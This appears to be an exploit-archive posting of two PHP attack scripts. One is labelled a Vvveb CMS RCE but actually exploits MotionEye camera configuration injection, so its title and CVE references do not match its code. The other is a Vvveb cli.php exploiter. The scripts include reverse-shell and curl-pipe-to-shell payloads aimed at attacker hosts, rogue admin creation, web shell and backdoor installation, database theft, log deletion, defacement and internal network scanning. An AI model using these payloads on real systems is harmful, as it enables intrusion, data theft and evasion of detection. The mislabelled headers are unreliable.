============================================================================================================================================= | # Title : Vvveb CMS 1.0.5 RCE | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.vvveb.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518 [+] Summary : Command Injection in Configuration Files - Unsanitized user input in the image_file_name parameter allows authenticated attackers to inject OS commands via $(command) syntax, leading to remote code execution. [+] POC : php motioneye_rce.php check https://target-motioneye.local php motioneye_rce.php check https://192.168.1.100 admin password123 target = rtrim($target, '/'); $this->username = $username; $this->password = $password; $this->cookies = []; $this->camera_id = null; } /** * Clean string according to MotionEye's canonicalization rules */ private function clean_string($data) { if ($data === null) { return ''; } if (!is_string($data)) { $data = (string)$data; } // Regex from MotionEye source code $signature_regex = '/[^A-Za-z0-9\/?_.=&{}\[\]":, -]/'; return preg_replace($signature_regex, '-', $data); } /** * Compute SHA1 signature for MotionEye requests */ private function compute_signature($method, $path, $body = null, $key = '') { // Parse URL $parsed = parse_url($path); $path_only = $parsed['path'] ?? ''; $query_str = $parsed['query'] ?? ''; // Parse query parameters $query_params = []; if ($query_str) { parse_str($query_str, $query_params); } // Remove _signature parameter unset($query_params['_signature']); // Sort parameters alphabetically ksort($query_params); // Build canonical query string $canonical_query = ''; foreach ($query_params as $k => $v) { if ($canonical_query !== '') { $canonical_query .= '&'; } $canonical_query .= $k . '=' . rawurlencode($v); } // Build canonical path $canonical_path = $path_only; if ($canonical_query !== '') { $canonical_path .= '?' . $canonical_query; } // Clean path and body $cleaned_path = $this->clean_string($canonical_path); $cleaned_body = $this->clean_string($body); // Compute key hash $key_hash = strtolower(sha1($key)); // Build data to hash $data = $method . ':' . $cleaned_path . ':' . $cleaned_body . ':' . $key_hash; return strtolower(sha1($data)); } /** * Generate timestamp in milliseconds */ private function generate_timestamp_ms() { return (int)(microtime(true) * 1000); } /** * Send HTTP request with MotionEye signature */ private function send_signed_request($method, $path, $data = null, $headers = []) { $url = $this->target . $path; // Add required GET parameters $get_params = [ '_username' => $this->username, '_' => $this->generate_timestamp_ms() ]; // Parse existing query string if present $parsed = parse_url($url); $base_url = $parsed['scheme'] . '://' . $parsed['host'] . ($parsed['port'] ? ':' . $parsed['port'] : '') . $parsed['path']; $existing_query = []; if (isset($parsed['query'])) { parse_str($parsed['query'], $existing_query); $get_params = array_merge($get_params, $existing_query); } // Build query string $query_str = http_build_query($get_params); $path_with_query = $parsed['path'] . '?' . $query_str; // Compute signature $signature = $this->compute_signature( strtoupper($method), $path_with_query, $data, $this->password ); // Add signature to query parameters $get_params['_signature'] = $signature; $query_str = http_build_query($get_params); // Build final URL $final_url = $base_url . '?' . $query_str; // Prepare request $ch = curl_init(); $options = [ CURLOPT_URL => $final_url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_SSL_VERIFYPEER => $this->verify_ssl, CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0, CURLOPT_HEADER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36', CURLOPT_HTTPHEADER => array_merge([ 'Accept: application/json,text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language: en-US,en;q=0.5', 'Connection: close' ], $headers) ]; if (strtoupper($method) === 'POST') { $options[CURLOPT_POST] = true; if ($data !== null) { $options[CURLOPT_POSTFIELDS] = $data; // Detect content type if (is_array($data)) { $options[CURLOPT_POSTFIELDS] = http_build_query($data); $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/x-www-form-urlencoded'; } else { $options[CURLOPT_POSTFIELDS] = $data; if (json_decode($data) !== null) { $options[CURLOPT_HTTPHEADER][] = 'Content-Type: application/json'; } } } } // Add cookies if any if (!empty($this->cookies)) { $cookie_str = ''; foreach ($this->cookies as $name => $value) { $cookie_str .= $name . '=' . $value . '; '; } $options[CURLOPT_COOKIE] = rtrim($cookie_str, '; '); } curl_setopt_array($ch, $options); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE); $error = curl_error($ch); curl_close($ch); if ($response === false) { throw new Exception("cURL error: " . $error); } $headers = substr($response, 0, $header_size); $body = substr($response, $header_size); // Extract and store cookies preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches); foreach ($matches[1] as $cookie) { $parts = explode('=', $cookie, 2); if (count($parts) == 2) { $this->cookies[$parts[0]] = $parts[1]; } } return [ 'code' => $http_code, 'headers' => $headers, 'body' => $body ]; } /** * Check if target is vulnerable */ public function check() { try { $ch = curl_init($this->target); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_SSL_VERIFYPEER => $this->verify_ssl, CURLOPT_SSL_VERIFYHOST => $this->verify_ssl ? 2 : 0, CURLOPT_FOLLOWLOCATION => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36' ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code !== 200) { return ['vulnerable' => false, 'message' => 'Target not reachable or not MotionEye']; } // Look for motionEye version if (preg_match('/motionEye Version.*?]*>([^<]+) true, 'message' => "Vulnerable version detected: $version", 'version' => $version ]; } else { return [ 'vulnerable' => 'unknown', 'message' => "Newer version detected: $version. Check release notes.", 'version' => $version ]; } } return ['vulnerable' => false, 'message' => 'MotionEye version not found']; } catch (Exception $e) { return ['vulnerable' => false, 'message' => 'Error: ' . $e->getMessage()]; } } /** * Add a camera to MotionEye */ private function add_camera() { echo "[+] Adding malicious camera...\n"; $data = json_encode([ 'scheme' => 'rstp', 'host' => $this->generate_ip(), 'port' => '', 'path' => '/', 'username' => '', 'proto' => 'netcam' ]); $response = $this->send_signed_request( 'POST', '/config/add/', $data, ['Content-Type: application/json'] ); if ($response['code'] !== 200) { throw new Exception("Failed to add camera. HTTP {$response['code']}"); } $json = json_decode($response['body'], true); if (!$json || !isset($json['id'])) { throw new Exception("Invalid response when adding camera"); } $this->camera_id = $json['id']; echo "[+] Camera added successfully (ID: {$this->camera_id})\n"; return $this->camera_id; } /** * Configure camera with payload */ private function configure_camera($payload) { echo "[+] Configuring camera with payload...\n"; $camera_name = 'cam_' . bin2hex(random_bytes(4)); $config = [ 'enabled' => true, 'name' => $camera_name, 'proto' => 'netcam', 'auto_brightness' => false, 'rotation' => [0, 90, 180, 270][rand(0, 3)], 'framerate' => rand(2, 30), 'privacy_mask' => false, 'storage_device' => 'custom-path', 'root_directory' => "/var/lib/motioneye/{$camera_name}", 'upload_enabled' => false, 'upload_picture' => false, 'upload_movie' => false, 'upload_service' => ['ftp', 'sftp', 'webdav'][rand(0, 2)], 'upload_method' => ['post', 'put'][rand(0, 1)], 'upload_subfolders' => false, 'web_hook_storage_enabled' => false, 'command_storage_enabled' => false, 'text_overlay' => false, 'text_scale' => rand(1, 3), 'video_streaming' => false, 'streaming_framerate' => rand(5, 30), 'streaming_quality' => rand(50, 95), 'streaming_resolution' => rand(50, 95), 'streaming_server_resize' => false, 'streaming_port' => '9081', 'streaming_auth_mode' => 'disabled', 'streaming_motion' => false, 'still_images' => true, 'image_file_name' => "$({$payload})", // Payload injection point 'image_quality' => rand(50, 95), 'capture_mode' => 'manual', 'preserve_pictures' => '0', 'manual_snapshots' => true, 'movies' => false, 'movie_file_name' => '%Y-%m-%d/%H-%M-%S', 'movie_quality' => rand(50, 95), 'movie_format' => 'mp4 => h264_v4l2m2m', 'movie_passthrough' => false, 'recording_mode' => 'motion-triggered', 'max_movie_length' => '0', 'preserve_movies' => '0', 'motion_detection' => false, 'frame_change_threshold' => '0.' . rand(1000000000000000, 9999999999999999), 'max_frame_change_threshold' => rand(0, 1), 'auto_threshold_tuning' => false, 'auto_noise_detect' => false, 'noise_level' => rand(10, 32), 'light_switch_detect' => '0', 'despeckle_filter' => false, 'event_gap' => rand(5, 30), 'pre_capture' => rand(1, 5), 'post_capture' => rand(1, 5), 'minimum_motion_frames' => rand(20, 30), 'motion_mask' => false, 'show_frame_changes' => false, 'create_debug_media' => false, 'email_notifications_enabled' => false, 'telegram_notifications_enabled' => false, 'web_hook_notifications_enabled' => false, 'web_hook_end_notifications_enabled' => false, 'command_notifications_enabled' => false, 'command_end_notifications_enabled' => false, 'working_schedule' => false, 'resolution' => ['320x240', '640x480', '1280x720'][rand(0, 2)] ]; $data = json_encode([$this->camera_id => $config]); $response = $this->send_signed_request( 'POST', '/config/0/set/', $data, ['Content-Type: application/json'] ); if ($response['code'] !== 200) { throw new Exception("Failed to configure camera. HTTP {$response['code']}"); } echo "[+] Camera configured with payload\n"; } /** * Trigger the exploit by taking a snapshot */ private function trigger_exploit() { echo "[+] Triggering exploit...\n"; $response = $this->send_signed_request( 'POST', "/action/{$this->camera_id}/snapshot/", 'null', ['Content-Type: application/json'] ); if ($response['code'] !== 200) { throw new Exception("Failed to trigger exploit. HTTP {$response['code']}"); } echo "[+] Exploit triggered\n"; } /** * Remove the camera */ private function remove_camera() { if (!$this->camera_id) { return; } echo "[+] Removing camera...\n"; try { $response = $this->send_signed_request( 'POST', "/config/{$this->camera_id}/rem/", 'null', ['Content-Type: application/json'] ); if ($response['code'] === 200) { echo "[+] Camera removed successfully\n"; } } catch (Exception $e) { echo "[-] Error removing camera: " . $e->getMessage() . "\n"; } $this->camera_id = null; } /** * Generate random IP address */ private function generate_ip() { return rand(1, 254) . '.' . rand(0, 254) . '.' . rand(0, 254) . '.' . rand(1, 254); } /** * Execute exploit */ public function exploit($payload) { try { // Check target first $check = $this->check(); if (!$check['vulnerable']) { echo "[-] Target appears not to be vulnerable: " . $check['message'] . "\n"; return false; } echo "[+] Target appears to be vulnerable\n"; // Add camera $this->add_camera(); // Configure with payload $this->configure_camera($payload); // Trigger exploit $this->trigger_exploit(); echo "[+] Exploit completed. Check for callback.\n"; return true; } catch (Exception $e) { echo "[-] Exploit failed: " . $e->getMessage() . "\n"; // Clean up $this->remove_camera(); return false; } } /** * Clean up resources */ public function cleanup() { $this->remove_camera(); } public function __destruct() { $this->cleanup(); } } /** * Command-line interface */ if (php_sapi_name() === 'cli') { if ($argc < 2) { echo "MotionEye RCE Exploit (CVE-2025-60787)\n"; echo "Usage:\n"; echo " php {$argv[0]} check [username] [password]\n"; echo " php {$argv[0]} exploit [username] [password]\n"; echo "\nExamples:\n"; echo " php {$argv[0]} check https://192.168.1.100\n"; echo " php {$argv[0]} exploit https://192.168.1.100 'curl http://attacker.com/shell.sh|sh'\n"; echo " php {$argv[0]} exploit https://192.168.1.100 'nc -e /bin/bash 192.168.1.50 4444' admin password123\n"; exit(1); } $command = $argv[1]; $url = $argv[2] ?? ''; if ($command === 'check') { $username = $argv[3] ?? 'admin'; $password = $argv[4] ?? ''; $exploit = new MotionEyeRCE($url, $username, $password); $result = $exploit->check(); echo "Target: $url\n"; echo "Status: " . $result['message'] . "\n"; if (isset($result['version'])) { echo "Version: " . $result['version'] . "\n"; } } elseif ($command === 'exploit') { $payload = $argv[3] ?? ''; $username = $argv[4] ?? 'admin'; $password = $argv[5] ?? ''; if (!$payload) { echo "[-] Payload required for exploit command\n"; exit(1); } $exploit = new MotionEyeRCE($url, $username, $password); $exploit->exploit($payload); } else { echo "[-] Unknown command: $command\n"; exit(1); } } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| =================================================================================================== Rediscovered to still affect version 1.0.7.3 per the researcher: ============================================================================================================================================= | # Title : Vvveb CMS 1.0.7.3 CLI.php Remote Code Execution Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) | | # Vendor : https://www.vvveb.com/update.json | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/210781/ & CVE-2025-8518 [+] Summary : The Vvveb CMS CLI tool (cli.php) contains critical security flaws when accessible via web: Authentication Bypass: Automatically logs in as Super Admin when accessed with admin parameter Unfiltered Input: Accepts arbitrary GET/POST parameters directly from command line/web requests No Authorization Checks: Allows execution of any administrative function without verification [+] Exploitation Methods Remote Access via Web (Misconfiguration) # Direct URL access to cli.php https://target.com/cli.php?admin&module=user/users&action=save&user[email]=attacker@evil.com&user[role_id]=1 # Using discovered cli.php paths https://target.com/admin/cli.php?admin&module=tools/cache&action=delete Local Server Access (Common) bash # With shell access to server php cli.php admin module=user/users action=save user[email]=admin@evil.com user[password]=hacked123 # Full control operations php cli.php admin module=plugin/plugins action=install url=http://malicious.com/backdoor.zip php cli.php admin module=content/posts action=delete post_id=all [+] POC : php poc.php target = rtrim($target, '/'); } // 1. Discover cli.php file public function discover() { $this->log("šŸ” Discovering cli.php paths..."); foreach ($this->cli_paths as $path) { $url = $this->target . $path; try { $response = $this->http_request($url); if (strpos($response, 'Usage cli.php') !== false || strpos($response, 'vvveb') !== false) { $this->log("[āœ…] Found cli.php at: " . $url); return $url; } } catch (Exception $e) { continue; } } // Try automatic discovery $this->log("[šŸ”„] Scanning common paths..."); $common_paths = $this->bruteforce_paths(); foreach ($common_paths as $path) { $url = $this->target . $path; if (@file_get_contents($url, false, null, 0, 100)) { $this->log("[āš ļø] Potential path: " . $url); } } return false; } // 2. Full exploitation via cli.php public function full_exploit($cli_url) { $this->log("\nšŸ’€ Starting full exploitation...\n"); // A. Clear cache $this->log("[1] Clearing cache..."); $this->execute($cli_url, 'admin', 'tools/cache', 'delete'); // B. Create admin user $this->log("[2] Creating admin user..."); $user_data = [ 'user[email]' => 'admin_hack_' . rand(1000,9999) . '@evil.com', 'user[password]' => 'P@ssw0rd' . rand(100,999), 'user[role_id]' => 1, 'user[username]' => 'hacker' . rand(1,100) ]; $this->execute($cli_url, 'admin', 'user/users', 'save', $user_data); // C. Upload web shell $this->log("[3] Uploading web shell..."); $shell_url = 'http://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/php/simple.php'; $this->execute($cli_url, 'admin', 'plugin/plugins', 'install', ['url' => $shell_url]); // D. Create backdoor $this->log("[4] Creating backdoor..."); $backdoor_code = base64_encode(''); $this->execute($cli_url, 'admin', 'content/posts', 'save', [ 'post[title]' => 'Normal Post', 'post[content]' => '', 'post[status]' => 'published', 'post[slug]' => 'shell_' . rand(1000,9999) . '.php' ]); // E. Get system info $this->log("[5] Gathering system information..."); $this->execute($cli_url, 'admin', 'system/info', 'view'); // F. Change site settings $this->log("[6] Changing site settings..."); $this->execute($cli_url, 'admin', 'system/settings', 'save', [ 'setting[site_title]' => 'HACKED BY SECURITY TEAM', 'setting[maintenance]' => 1 ]); $this->log("\nšŸŽÆ Exploitation complete!"); return true; } // 3. Create web shell public function create_webshell($cli_url, $path = '/uploads/shell.php') { $this->log("[+] Creating web shell at: " . $path); $shell_code = '"; system($_REQUEST["cmd"]); echo ""; die(); } if(isset($_FILES["file"])){ move_uploaded_file($_FILES["file"]["tmp_name"], $_FILES["file"]["name"]); echo "Uploaded: ".$_FILES["file"]["name"]; die(); } echo \'
\'; ?>'; // Try multiple methods $methods = [ // Method 1: Via backup restore ['module' => 'tools/backup', 'action' => 'restore', 'params' => [ 'backup' => 'data:text/plain;base64,' . base64_encode($shell_code), 'path' => $path ]], // Method 2: Via file upload ['module' => 'tools/import', 'action' => 'upload', 'params' => [ 'file[]' => 'data:text/plain;base64,' . base64_encode($shell_code) ]], // Method 3: Via post creation ['module' => 'content/posts', 'action' => 'save', 'params' => [ 'post[title]' => 'Shell', 'post[content]' => $shell_code, 'post[status]' => 'published', 'post[slug]' => 'shell.php' ]] ]; foreach ($methods as $method) { $this->execute($cli_url, 'admin', $method['module'], $method['action'], $method['params']); sleep(1); } } // 4. Dump database public function dump_database($cli_url) { $this->log("[+] Dumping database..."); // Create backup $this->execute($cli_url, 'admin', 'tools/backup', 'create', [ 'filename' => 'db_dump_' . date('Y-m-d') . '.sql' ]); // Try to download it $backup_paths = [ '/db_dump_' . date('Y-m-d') . '.sql', '/backup/db_dump_' . date('Y-m-d') . '.sql', '/system/storage/backup/db_dump_' . date('Y-m-d') . '.sql', '/public/backup/db_dump_' . date('Y-m-d') . '.sql' ]; foreach ($backup_paths as $path) { $url = $this->target . $path; $content = $this->http_request($url); if ($content && strlen($content) > 100 && strpos($content, 'CREATE TABLE') !== false) { file_put_contents('stolen_database.sql', $content); $this->log("[āœ…] Database stolen: " . strlen($content) . " bytes"); return true; } } return false; } // 5. Delete logs public function delete_logs($cli_url) { $this->log("[+] Deleting system logs..."); $logs = [ '/var/log/apache2/access.log', '/var/log/apache2/error.log', '/var/log/nginx/access.log', '/storage/logs/', '/system/logs/', '/logs/' ]; foreach ($logs as $log) { $this->execute($cli_url, 'admin', 'tools/cache', 'delete', ['path' => $log]); } // Disable logging $this->execute($cli_url, 'admin', 'system/settings', 'save', [ 'setting[log_enabled]' => 0 ]); } // 6. Deface site - FIXED LINE 185 public function deface_site($cli_url) { $this->log("[šŸ’€] Defacing website..."); $deface_html = ' HACKED

šŸ”“ SITE HACKED šŸ”“

Security Vulnerability Found

Vvveb CMS cli.php exposed

'; // Update homepage $this->execute($cli_url, 'admin', 'content/pages', 'save', [ 'page[title]' => 'HACKED', 'page[content]' => $deface_html, 'page[slug]' => 'index', 'page[status]' => 'published' ]); // Direct file modification $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [ 'backup' => 'data:text/html,' . urlencode($deface_html), 'path' => '/index.php' ]); } // 7. Network scan public function scan_network($cli_url) { $this->log("[🌐] Scanning internal network..."); $subnets = ['192.168.1.', '10.0.0.', '172.16.0.']; $ports = [80, 443, 8080, 3306, 22, 21, 25]; foreach ($subnets as $subnet) { for ($i = 1; $i < 10; $i++) { // First 10 IPs only $ip = $subnet . $i; $this->execute($cli_url, 'admin', 'tools/ping', 'check', [ 'host' => $ip, 'ports' => implode(',', $ports) ]); } } } // 8. Reverse shell public function reverse_shell($cli_url, $lhost, $lport = 4444) { $this->log("[⚔] Setting up reverse shell to $lhost:$lport"); $php_reverse_shell = '$sock, 1=>$sock, 2=>$sock), $pipes); ?>'; $this->execute($cli_url, 'admin', 'content/posts', 'save', [ 'post[title]' => 'Reverse Shell', 'post[content]' => $php_reverse_shell, 'post[status]' => 'published', 'post[slug]' => 'revshell_' . rand(1000,9999) . '.php' ]); $this->log("[!] Start listener: nc -lvnp $lport"); } // 9. Execute custom command public function execute_command($cli_url, $command) { $this->log("[āŒØļø] Executing: $command"); // Encode command in PHP file $cmd_php = ''; return $this->execute($cli_url, 'admin', 'tools/backup', 'restore', [ 'backup' => 'data:text/plain;base64,' . base64_encode($cmd_php), 'path' => '/tmp/cmd_' . rand(1000,9999) . '.php' ]); } // Helper: Execute command via cli.php private function execute($cli_url, $app, $module, $action, $params = []) { $url = $cli_url . '?' . $app . '&module=' . $module . '&action=' . $action; if (!empty($params)) { $url .= '&' . http_build_query($params); } try { $response = $this->http_request($url); if (strpos($response, 'error') === false && !empty($response)) { $this->log("[āœ…] Success: $module/$action"); // Save important results if (strpos($response, 'password') !== false || strpos($response, 'email') !== false || strpos($response, 'INSERT INTO') !== false || strlen($response) < 5000) { file_put_contents('results.txt', "\n=== $module/$action ===\n$response\n", FILE_APPEND); } return $response; } } catch (Exception $e) { $this->log("[āŒ] Failed: $module/$action - " . $e->getMessage()); } return false; } private function http_request($url, $timeout = 10) { // Try cURL first if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $response = curl_exec($ch); if (curl_errno($ch)) { throw new Exception('cURL error: ' . curl_error($ch)); } curl_close($ch); return $response; } // Fallback to file_get_contents $context = stream_context_create([ 'http' => [ 'timeout' => $timeout, 'header' => "User-Agent: Mozilla/5.0\r\n" ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $response = @file_get_contents($url, false, $context); if ($response === false) { throw new Exception('HTTP request failed'); } return $response; } private function bruteforce_paths() { $paths = []; // Common paths for ($i = 0; $i < 100; $i++) { $paths[] = '/vvveb' . $i . '/cli.php'; $paths[] = '/admin' . $i . '/cli.php'; } // Dynamic discovery $common_dirs = ['app', 'system', 'public', 'admin', 'vvveb', 'cms', 'web', 'install']; foreach ($common_dirs as $dir) { $paths[] = "/$dir/cli.php"; $paths[] = "/$dir/../cli.php"; } return $paths; } private function log($message) { echo $message . "\n"; $this->output[] = $message; } public function save_report() { $report = implode("\n", $this->output); file_put_contents('exploit_report.txt', $report); $this->log("[šŸ“„] Report saved: exploit_report.txt"); } public function get_output() { return $this->output; } } // =============================== // Main Interface // =============================== function display_help() { echo "========================================\n"; echo " Vvveb CLI Exploiter \n"; echo " By indoushka\n"; echo "========================================\n\n"; echo "Usage: php exploit.php [options]\n\n"; echo "Options:\n"; echo " --discover Discover cli.php only\n"; echo " --full Full exploitation\n"; echo " --shell Create web shell\n"; echo " --dbdump Dump database\n"; echo " --clean Delete logs\n"; echo " --deface Deface website\n"; echo " --reverse Setup reverse shell\n"; echo " --cmd \"command\" Execute system command\n"; echo " --auto Everything automatic\n"; echo " --help Show this help\n\n"; echo "Examples:\n"; echo " php exploit.php https://target.com --discover\n"; echo " php exploit.php https://target.com --full\n"; echo " php exploit.php https://target.com --reverse 192.168.1.100:4444\n"; echo " php exploit.php https://target.com --cmd \"whoami\"\n"; } // Main execution if ($argc < 2 || in_array($argv[1], ['--help', '-h'])) { display_help(); exit(1); } $target = $argv[1]; $option = $argv[2] ?? '--auto'; echo "\n"; echo "========================================\n"; echo "Target: $target\n"; echo "Mode: $option\n"; echo "========================================\n"; $exploiter = new VvvebExploiter($target); // Discover cli.php first echo "\n[1/3] Discovery phase...\n"; $cli_url = $exploiter->discover(); if (!$cli_url) { echo "[āŒ] cli.php not found\n"; // Try default locations $default_urls = [ $target . '/cli.php', $target . '/admin/cli.php', $target . '/vvveb/cli.php' ]; foreach ($default_urls as $url) { echo "[?] Trying: $url\n"; } exit(1); } echo "[āœ…] cli.php found: $cli_url\n"; // Execute based on option echo "\n[2/3] Execution phase...\n"; switch ($option) { case '--discover': echo "[ā„¹ļø] Discovery completed\n"; break; case '--full': $exploiter->full_exploit($cli_url); break; case '--shell': $exploiter->create_webshell($cli_url); break; case '--dbdump': $exploiter->dump_database($cli_url); break; case '--clean': $exploiter->delete_logs($cli_url); break; case '--deface': $exploiter->deface_site($cli_url); break; case '--reverse': if ($argc < 4) { echo "[āŒ] Missing IP:PORT for reverse shell\n"; echo "Usage: --reverse 192.168.1.100:4444\n"; exit(1); } list($lhost, $lport) = explode(':', $argv[3]); $exploiter->reverse_shell($cli_url, $lhost, $lport); break; case '--cmd': if ($argc < 4) { echo "[āŒ] Missing command\n"; exit(1); } $command = $argv[3]; $exploiter->execute_command($cli_url, $command); break; case '--auto': default: $exploiter->full_exploit($cli_url); sleep(2); $exploiter->create_webshell($cli_url); sleep(1); $exploiter->dump_database($cli_url); sleep(1); $exploiter->delete_logs($cli_url); break; } // Save report echo "\n[3/3] Reporting phase...\n"; $exploiter->save_report(); echo "\n========================================\n"; echo " Operation completed\n"; echo " Check results.txt and exploit_report.txt\n"; echo "========================================\n"; // Next steps echo "\nšŸ”§ Next Steps:\n"; echo "1. Access web shell: " . $target . "/uploads/shell.php\n"; echo "2. Check for new admin users\n"; echo "3. Use backdoor files\n"; echo "4. Review stolen data\n"; // Check if we created shells echo "\nšŸ“ Created files (check these):\n"; echo "- " . $target . "/shell_*.php\n"; echo "- " . $target . "/uploads/shell.php\n"; echo "- /tmp/cmd_*.php\n"; ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================